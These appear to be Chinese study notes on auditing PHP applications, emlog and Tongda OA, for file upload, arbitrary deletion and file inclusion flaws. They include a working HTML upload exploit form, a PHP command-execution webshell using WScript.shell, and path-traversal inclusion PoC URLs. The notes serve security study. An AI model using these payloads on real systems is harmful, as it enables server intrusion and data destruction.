快速分析脆弱:
1、看文件路徑
2、看代碼里面的變量(可控)
3、看變量前后的過濾
文件安全挖掘點:
1、腳本文件名
2、應用功能點
3、操作關鍵字
文件上傳,文件下載(讀取),文件包含,文件刪除等
emlog-文件上傳&文件刪除
搜索函數關鍵字或應用關鍵字:
流程:搜$_FILES->template.php->upload_zip->emUnZip
流程:搜安裝或上傳等->template.php->upload_zip->emUnZip
https://www.cnvd.org.cn/flaw/show/CNVD-2023-74536
1、壓縮默認模版目錄
2、壓縮一個帶后門模版
3、上傳帶后門模版壓縮包
流程:搜$_FILES->plugin.php->upload_zip->emUnZip
流程:搜安裝或上傳等->plugin.php->upload_zip->emUnZip
https://www.cnvd.org.cn/flaw/show/CNVD-2023-74535
1、壓縮默認插件目錄
2、壓縮一個帶后門插件
3、上傳帶后門插件壓縮包
流程:搜unlink->data.php->action=dell_all_bak->bak[]
https://www.cnvd.org.cn/flaw/show/CNVD-2021-41633
1、/admin/data.php?action=dell_all_bak
2、bak[1]=../xxx.php
上傳漏洞復現
這里有一個安裝模板功能,漏洞點就在這里,我們把templates目錄下的default文件壓縮,里面寫入一個phpinfo();
我們上傳后再default目錄下找到了1.php
上傳漏洞審計
這里我們能看到請求URL為 http://127.0.0.1:85/admin/template.php?action=upload_zip
我們追蹤到這個方法,就是參數action=upload_zip這里
并且前端頁面的表單名就是tplzip
然后這里用emUnZip函數將壓縮包中文件保存到templates目錄下去
跟蹤一下emUnZip函數,就是一個解壓zip的過程
文件任意刪除漏洞
復現:
在這里讓變量$action等于dell_all_bak,然后提交bak用POST方法
在這里我們創建一個1.txt,然后嘗試刪除
這里爆出備份文件刪除成功,我們去看一下
刪除成功
利用文件監控器進行監控文件變化
拓展:
/admin/plugin.php?action=del&plugin=../../../1/txt&token=xxx
通達OA-文件上傳&文件包含
源碼加密:
1、觀察
2、找資料
文件監控:file-jiankong.py
方便監控獲取文件上傳到什么地方
這里源碼是加密的,我們解密一下
流程:找文件名->繞驗證P->DEST_UID,UPLOAD_MOD->構ATTACHMENT
文件上傳(文件名稱):/webroot/ispirit/im/upload.php
1、設置P參數不為0
2、設置DEST_UID參數為1
3、設置UPLOAD_MODE參數為1,2,3
4、設置上傳文件參數名為ATTACHMENT
關鍵點在于p,并且我們最終點要執行到這個點,就是upload這里,所有上面代碼都要滿足,不能退出,順利執行到下面,所有我們就會有幾個要求,p不為0,為0就會執行11行的else,就到了auth.php文件了,再往下
如果這里DEST_UID等于0,就會執行包含的代碼,并且exit(),我們就沒辦法再往下執行了。所以這里DEST_UID要等于1
并且這里UPLOAD_MODE要等與1,2,3
并且上傳的參數名為ATTACHMENT
else {
if (strtolower(substr($FILE_NAME,$POST +1, 3)) == "php")
return false;
}
所有我們得到下面的payload
這里有個過濾掉php文件,因此我們繞過一下
我們上傳1.php.
這種格式,在php后面加一個.
或者使用監控腳本也能發現上傳文件的位置
<html>
<body>
<form action="http://127.0.0.1/ispirit/im/upload.php"method="post"enctype="multipart/form-data">
<input type="text"name="P"value=1></input>
<input type="text"name="UPLOAD_MODE"value=1></input>
<input type="text"name="DEST_UID"value=1></input>
<input type="file"name="ATTACHMENT"></input>
<input type="submit"></input>
</body>
</html>
文件包含
流程:搜include_once->gateway.php->$url->$key->$json
文件包含(include_once):/ispirit/interface/gateway.php
繞過的poc
<?php
$command=$_POST['cmd'];
$wsh= new COM('WScript.shell');
$exec=$wsh->exec("cmd /c ".$command);
$stdout=$exec->StdOut();
$stroutput=$stdout->ReadAll();
echo$stroutput;
?>
繞過poc,然后post提交,我們使用ipconfig命令運行得到結果
poc1:
/ispirit/interface/gateway.php?json={}&url=/general/../../attach/im/xxxx/1600449966.1.txt
poc2:
/ispirit/interface/gateway.php?json={}&url=/ispirit/../../attach/im/xxxx/1600449966.1.txt
poc3:
/ispirit/interface/gateway.php?json={}&url=/module/../../attach/im/2310/1600449966.1.txt